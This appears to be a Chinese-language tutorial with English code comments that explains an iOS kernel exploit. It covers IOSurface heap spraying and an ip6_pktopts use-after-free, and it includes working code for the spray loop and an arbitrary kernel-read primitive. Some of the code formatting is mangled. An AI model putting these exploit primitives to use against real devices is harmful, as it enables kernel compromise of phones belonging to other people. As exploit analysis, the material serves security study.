The IOSurface framework provides a framebuffer object suitable for sharing across process boundaries. It is commonly used to allow applications to move complex image decompression and draw logic into a separate process to enhance security.
了解了 IOSurface.framework,接下来根据 iPhone Dev Wiki 给出的描述[2]:
IOSurface is an object encompassing a kernel-managed rectangular pixel buffer in the IOSurface framework. It is a thin wrapper on top of an IOSurfaceClient object which actually interfaces with the kernel.
// create a fake struct with our dangling port address as its pktinfo structip6_pktopts *fake_opts = calloc(1, sizeof(structip6_pktopts)); // give a number we can recognize fake_opts->ip6po_minmtu = 0x41424344; // on iOS 10, minmtu offset is different *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // address to read fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;
用于 IOSurface 传输的 XML 对象的每个结点都可以用一个 uint32 表示,称为 XML Unit,由于 IOSurface 调用必须指定输入的长度,因此计算好每一轮 Spraying 使用的 XML 大小至关重要。
在步骤 3 中,我们计算了 Spraying Data 对应的 XML Units 数量:
1 2 3 4 5 6 7 8 9 10 11 12 13
// 3. 计算 Spraying Data 所需要的 XML 结点数 size_t xml_units_per_data = xml_units_for_data_size(data_size);
/* * xml_units_for_data_size * * Description: * Return the number of XML units needed to store the given size of data in an OSString. */ staticsize_t xml_units_for_data_size(size_t data_size) { return ((data_size - 1) + sizeof(uint32_t) - 1) / sizeof(uint32_t); }
由于序列化数据在内核中被表示为 OSString,所以我们需要考虑结尾的 \0,此时只能牺牲数据的最后一位作为 \0,因此实际计算的大小为 size - 1,接下来的公式就转化为 (actual_size + n - 1) / n,这是典型的 Ceiling 函数,即对 actual_size 除以 4(XML Unit Size) 向上取整,最后得到的是每个 Spraying Data 对应的 OSString 所占据的 XML Units Count,并存储在 xml_units_per_data 中。
随后在步骤 4 中,我们基于 xml_units_per_data 计算了 XML Units Count 的总数:
*xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection; *key = xml++; // This will be filled in on each array loop. *xml++ = 0; // Null-terminate the symbol.
// Keep track of when we need to do GC. staticuint32_t total_arrays = 0; size_t sprayed = 0; size_t next_gc_step = 0; // Loop through the arrays. for (uint32_t array_id = 0; array_id < array_count; array_id++) { // If we've crossed the GC sleep boundary, sleep for a bit and schedule the // next one. // Now build the array and its elements. // 1. 生成唯一标识符填充到 key *key = base255_encode(total_arrays + array_id); for (uint32_t data_id = 0; data_id < current_array_length; data_id++) { // Copy in the data to the appropriate slot. // 2. 将数据填充到 OSString memcpy(xml_data[data_id], data, data_size - 1); } // 3. 向内核发送数据 // Finally set the array in the surface. ok = IOSurface_set_value(args, args_size); if (!ok) { free(args); free(xml_data); returnfalse; } if (ok) { sprayed += data_size * current_array_length; } }
通过上述代码中标出的 3 个关键步骤即可将组装好的 XML 送入内核帧缓冲区,内核会为其中的 OSString 分配内存,在这个过程中就完成了 Heap Spraying。
// second primitive: read 20 bytes from addr void* read_20_via_uaf(uint64_t addr){ // create a bunch of sockets int sockets[128]; for (int i = 0; i < 128; i++) { sockets[i] = get_socket_with_dangling_options(); } // create a fake struct with our dangling port address as its pktinfo structip6_pktopts *fake_opts = calloc(1, sizeof(structip6_pktopts)); fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr; bool found = false; int found_at = -1; for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts)); for (int j = 0; j < 128; j++) { int minmtu = -1; get_minmtu(sockets[j], &minmtu); if (minmtu == 0x41424344) { // found it! found_at = j; // save its index found = true; break; } } if (found) break; } free(fake_opts); if (!found) { printf("[-] Failed to read kernel\n"); return0; } for (int i = 0; i < 128; i++) { if (i != found_at) { close(sockets[i]); } } void *buf = malloc(sizeof(struct in6_pktinfo)); get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf); close(sockets[found_at]); return buf; }